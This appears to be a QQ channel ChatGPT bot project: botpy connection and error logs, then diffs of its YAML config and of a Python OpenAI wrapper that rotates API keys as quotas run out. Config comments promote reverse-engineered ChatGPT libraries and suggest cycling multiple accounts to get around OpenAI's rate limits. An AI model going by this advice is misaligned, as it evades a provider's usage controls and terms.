2022-12-08 17:13:47,994 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 17:13:47,995 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 17:13:47,995 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 17:13:48,198 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 17:13:48,300 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 17:13:48,302 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 17:16:31,326 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 17:22:03,924 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 17:22:04,671 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 17:22:04,672 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 17:22:04,673 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 17:22:04,673 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 17:22:04,856 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 17:22:04,958 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 17:22:04,959 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 17:52:04,868 [INFO] (gateway.py:54)on_closed [botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
2022-12-08 17:52:09,874 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 17:52:09,876 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 17:52:09,877 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 17:52:10,104 [INFO] (gateway.py:169)ws_resume [botpy] 重连启动...
2022-12-08 17:52:10,170 [INFO] (gateway.py:85)on_message [botpy] 机器人重连成功!
2022-12-08 17:52:10,171 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:00:00,757 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:00:01,443 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:00:01,443 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:00:01,444 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:00:01,445 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:00:01,602 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:00:01,823 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:00:01,824 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:03:13,211 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:03:14,082 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:03:14,084 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:03:14,084 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:03:14,085 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:03:14,289 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:03:14,498 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:03:14,499 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:16:29,246 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:16:30,054 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:16:30,055 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:16:30,056 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:16:30,056 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:16:30,293 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:16:30,424 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:16:30,424 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:16:41,898 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:3cc9fc95ac27cbbc1f1667f1aa11bf8d
2022-12-08 18:18:16,615 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:18:17,399 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:18:17,400 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:18:17,400 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:18:17,401 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:18:17,606 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:18:17,731 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:18:17,732 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:19:07,357 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:19:07,941 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:19:07,942 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:19:07,942 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:19:07,943 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:19:08,247 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:19:08,335 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:19:08,336 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:20:46,416 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:20:47,023 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:20:47,023 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:20:47,024 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:20:47,025 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:20:47,475 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:20:47,640 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:20:47,641 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:21:24,437 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:21:24,991 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:21:24,992 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:21:24,993 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:21:24,993 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:21:25,165 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:21:25,265 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:21:25,266 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:24:18,469 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:24:19,076 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:24:19,077 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:24:19,077 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:24:19,078 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:24:19,252 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:24:19,339 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:24:19,341 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:27:13,898 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:27:14,553 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:27:14,554 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:27:14,554 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:27:14,555 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:27:14,747 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:27:14,850 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:27:14,851 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:30:47,647 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:30:48,327 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:30:48,328 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:30:48,329 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:30:48,330 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:30:48,736 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:30:48,873 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:30:48,874 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 18:31:57,250 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 18:31:57,955 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 18:31:57,956 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 18:31:57,957 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 18:31:57,957 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 18:31:58,165 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 18:31:58,269 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 18:31:58,270 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 19:01:58,099 [INFO] (gateway.py:54)on_closed [botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
2022-12-08 19:02:03,110 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 19:02:03,111 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 19:02:03,111 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 19:02:03,314 [INFO] (gateway.py:169)ws_resume [botpy] 重连启动...
2022-12-08 19:02:03,381 [INFO] (gateway.py:85)on_message [botpy] 机器人重连成功!
2022-12-08 19:02:03,382 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 19:32:03,274 [INFO] (gateway.py:54)on_closed [botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
2022-12-08 19:32:08,271 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 19:32:08,272 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 19:32:08,272 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 19:32:08,534 [INFO] (gateway.py:169)ws_resume [botpy] 重连启动...
2022-12-08 19:32:08,604 [INFO] (gateway.py:85)on_message [botpy] 机器人重连成功!
2022-12-08 19:32:08,605 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 20:02:08,495 [INFO] (gateway.py:54)on_closed [botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
2022-12-08 20:02:13,497 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 20:02:13,497 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 20:02:13,498 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 20:02:13,797 [INFO] (gateway.py:169)ws_resume [botpy] 重连启动...
2022-12-08 20:02:13,914 [INFO] (gateway.py:85)on_message [botpy] 机器人重连成功!
2022-12-08 20:02:13,915 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 20:31:53,159 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 20:31:58,306 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 20:31:58,307 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 20:31:58,308 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 20:31:58,308 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 20:31:58,748 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 20:31:58,924 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 20:31:58,925 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 20:34:26,596 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 20:34:27,610 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 20:34:27,611 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 20:34:27,613 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 20:34:27,613 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 20:34:27,919 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 20:34:28,022 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 20:34:28,023 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 20:35:47,952 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 20:35:48,499 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 20:35:48,500 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 20:35:48,500 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 20:35:48,501 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 20:35:48,723 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 20:35:48,793 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 20:35:48,794 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 20:55:03,450 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:c4c4d23f9b2829d03ae9a7dca0184fe9
2022-12-08 21:05:48,678 [INFO] (gateway.py:54)on_closed [botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
2022-12-08 21:05:53,700 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:05:53,701 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:05:53,702 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:05:54,145 [INFO] (gateway.py:169)ws_resume [botpy] 重连启动...
2022-12-08 21:05:54,232 [INFO] (gateway.py:85)on_message [botpy] 机器人重连成功!
2022-12-08 21:05:54,233 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:07:39,468 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:07:40,244 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:07:40,245 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:07:40,246 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:07:40,247 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:07:40,553 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:07:40,659 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:07:40,660 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:30:11,249 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:30:12,217 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:30:12,218 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:30:12,219 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:30:12,219 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:30:12,627 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:30:12,730 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:30:12,731 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:36:34,660 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 21:38:39,294 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 21:39:43,233 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:39:43,878 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:39:43,879 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:39:43,880 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:39:43,880 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:39:44,099 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:39:44,279 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:39:44,281 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:40:38,103 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:40:39,100 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:40:39,101 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:40:39,102 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:40:39,102 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:40:39,402 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:40:39,502 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:40:39,503 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:40:52,805 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 21:41:39,703 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:41:40,399 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:41:40,400 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:41:40,401 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:41:40,401 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:41:40,644 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:41:40,740 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:41:40,741 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:41:56,705 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 21:42:55,625 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 21:42:56,278 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 21:42:56,279 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 21:42:56,280 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 21:42:56,281 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 21:42:56,718 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 21:42:56,819 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 21:42:56,820 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 21:43:09,794 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None

View File

@@ -1,29 +1,106 @@
# 如果你不知道怎么部署请务必查看https://soulter.top/posts/qpdg.html
# 不一定需要key了如果你没有key但有openAI账号或者必应账号也可以使用下面的逆向库
# 注意已支持多key自动切换方法
# key:
# - sk-xxxxxx
# - sk-xxxxxx
# 在下方非注释的地方使用以上格式
# 关于api_base可以使用一些云函数如腾讯、阿里来避免国内被墙的问题。
# 详见:
# https://github.com/Ice-Hazymoon/openai-scf-proxy
# https://github.com/Soulter/QQChannelChatGPT/issues/42
# 设置为none则表示使用官方默认api地址
openai:
# 注意在1.7版本已支持多key自动切换方法
# key:
# - xxxxx
# - xxxxxx
# 在下方非注释的地方使用以上格式
key:
-
api_base: none
# 这里是GPT配置语言模型默认使用gpt-3.5-turbo
chatGPTConfigs:
engine: text-davinci-003
max_tokens: 800
temperature: 0.8
model: gpt-3.5-turbo
max_tokens: 3000
temperature: 0.9
top_p: 1
frequency_penalty: 0.4
presence_penalty: 0.3
total_tokens_limit: 700
frequency_penalty: 0
presence_penalty: 0
total_tokens_limit: 5000
# QQ开放平台的appid和令牌
# q.qq.com
qqbot:
appid:
token:
# 设置是否一个人一个会话
uniqueSessionMode: false
# QChannelBot 的版本
version: 1.7 beta
# QChannelBot 的版本请勿修改此字段否则可能产生一些bug
version: 2.8
# [Beta] 转储历史记录时间间隔(分钟)
dump_history_interval: 10
dump_history_interval: 10
# 一个用户只能在time秒内发送count条消息
limit:
time: 60
count: 5
# 公告
notice: "此机器人由Github项目QQChannelChatGPT驱动。"
# 是否打开私信功能
# 设置为true则频道成员可以私聊机器人。
# 设置为false则频道成员不能私聊机器人。
direct_message_mode: true
# 系统代理
# http_proxy: http://localhost:7890
# https_proxy: http://localhost:7890
# 自定义回复前缀,如[Rev]或其他务必加引号以防止不必要的bug。
reply_prefix:
openai_official: "[GPT]"
rev_chatgpt: "[Rev]"
rev_edgegpt: "[RevBing]"
################外带程序(插件)################
# 百度内容审核服务
# 新用户免费5万次调用。https://cloud.baidu.com/doc/ANTIPORN/index.html
baidu_aip:
enable: false
app_id:
api_key:
secret_key:
# 逆向文心一言【暂时不可用,请勿使用】
rev_ernie:
enable: false
rev_edgegpt:
enable: false
# 逆向ChatGPT库
# https://github.com/acheong08/ChatGPT
# 优点:免费(无免费额度限制);
# 缺点速度相对慢。OpenAI 速率限制:免费帐户每小时 50 个请求。您可以通过多帐户循环来绕过它
# enable设置为true后将会停止使用上面正常的官方API调用而使用本逆向项目
#
# 多账户可以保证每个请求都能得到及时的回复。
# 关于account的格式
# account:
# - email: 第1个账户
# password: 第1个账户密码
# - email: 第2个账户
# password: 第2个账户密码
# - ....
# 支持使用session_token\access_token登录
# 例:
# - session_token: xxxxx
# - access_token: xxxx
# 请严格按照上面这个格式填写。
rev_ChatGPT:
enable: false
account:
- email:
password:

View File

@@ -12,91 +12,109 @@ abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
key_record_path = abs_path+'chatgpt_key_record'
class ChatGPT:
def __init__(self):
def __init__(self, cfg):
self.key_list = []
with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
cfg = yaml.safe_load(ymlfile)
if cfg['openai']['key'] != '':
print("读取ChatGPT Key成功")
self.key_list = cfg['openai']['key']
print(f"Key列表: {self.key_list}")
# openai.api_key = cfg['openai']['key']
else:
print("请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys")
if 'api_base' in cfg and cfg['api_base'] != 'none' and cfg['api_base'] != '':
openai.api_base = cfg['api_base']
if cfg['key'] != '' and cfg['key'] != None:
print("[System] 读取ChatGPT Key成功")
self.key_list = cfg['key']
# openai.api_key = cfg['key']
else:
input("[System] 请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys")
# init key record
self.init_key_record()
chatGPT_configs = cfg['openai']['chatGPTConfigs']
print(f'加载ChatGPTConfigs: {chatGPT_configs}')
chatGPT_configs = cfg['chatGPTConfigs']
print(f'[System] 加载ChatGPTConfigs: {chatGPT_configs}')
self.chatGPT_configs = chatGPT_configs
self.openai_configs = cfg['openai']
global inst
inst = self
self.openai_configs = cfg
def chat(self, prompt, image_mode = False):
try:
if not image_mode:
response = openai.Completion.create(
prompt=prompt,
def chat(self, req, image_mode = False, img_num = 1, img_size = "1024x1024"):
# ChatGPT API 2023/3/2
# messages = [{"role": "user", "content": prompt}]
if not image_mode:
try:
response = openai.ChatCompletion.create(
messages=req,
**self.chatGPT_configs
)
else:
response = openai.Image.create(
prompt=prompt,
n=1,
size="512x512",
)
except Exception as e:
print(e)
if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(e) or 'No API key provided.' in str(e):
print("当前Key已超额正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
except Exception as e:
print(e)
if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(e) or 'No API key provided' in str(e) or 'Incorrect API key provided' in str(e):
print("[System] 当前Key已超额或者不正常,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
response, is_switched = self.handle_switch_key(prompt)
if not is_switched:
# 所有Key都超额
raise e
else:
if not image_mode:
response = openai.Completion.create(
prompt=prompt,
response, is_switched = self.handle_switch_key(req)
if not is_switched:
# 所有Key都超额或不正常
raise e
else:
response = openai.ChatCompletion.create(
messages=req,
**self.chatGPT_configs
)
else:
response = openai.Image.create(
prompt=prompt,
n=1,
size="512x512",
)
if not image_mode:
self.key_stat[openai.api_key]['used'] += response['usage']['total_tokens']
self.save_key_record()
print("[ChatGPT] "+response["choices"][0]["text"])
return response["choices"][0]["text"].strip(), response['usage']['total_tokens']
print("[ChatGPT] "+str(response["choices"][0]["message"]["content"]))
return str(response["choices"][0]["message"]["content"]).strip(), response['usage']['total_tokens']
else:
return response['data'][0]['url']
def handle_switch_key(self, prompt):
try:
# print("test1")
response = openai.Image.create(
prompt=req[0]['content'],
n=img_num,
size=img_size
)
# print("test2")
image_url = []
for i in range(img_num):
image_url.append(response['data'][i]['url'])
print(image_url)
except Exception as e:
print(e)
if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(
e) or 'No API key provided' in str(e) or 'Incorrect API key provided' in str(e):
print("[System] 当前Key已超额或者不正常,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
response, is_switched = self.handle_switch_key(req)
if not is_switched:
# 所有Key都超额或不正常
raise e
else:
response = openai.Image.create(
prompt=req[0]['content'],
n=img_num,
size=img_size
)
image_url = []
for i in range(img_num):
image_url.append(response['data'][i]['url'])
return image_url
def handle_switch_key(self, req):
# messages = [{"role": "user", "content": prompt}]
while True:
is_all_exceed = True
for key in self.key_stat:
if not self.key_stat[key]['exceed']:
is_all_exceed = False
openai.api_key = key
print(f"切换到Key: {key}, 已使用token: {self.key_stat[key]['used']}")
if prompt != '':
print(f"[System] 切换到Key: {key}, 已使用token: {self.key_stat[key]['used']}")
if len(req) > 0:
try:
response = openai.Completion.create(
prompt=prompt,
response = openai.ChatCompletion.create(
messages=req,
**self.chatGPT_configs
)
return response, True
except Exception as e:
print(e)
if 'You exceeded' in str(e):
print("当前Key已超额正在切换")
print("[System] 当前Key已超额,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
time.sleep(1)
@@ -104,7 +122,7 @@ class ChatGPT:
else:
return True
if is_all_exceed:
print("所有Key已超额")
print("[System] 所有Key已超额")
return None, False
def getConfigs(self):
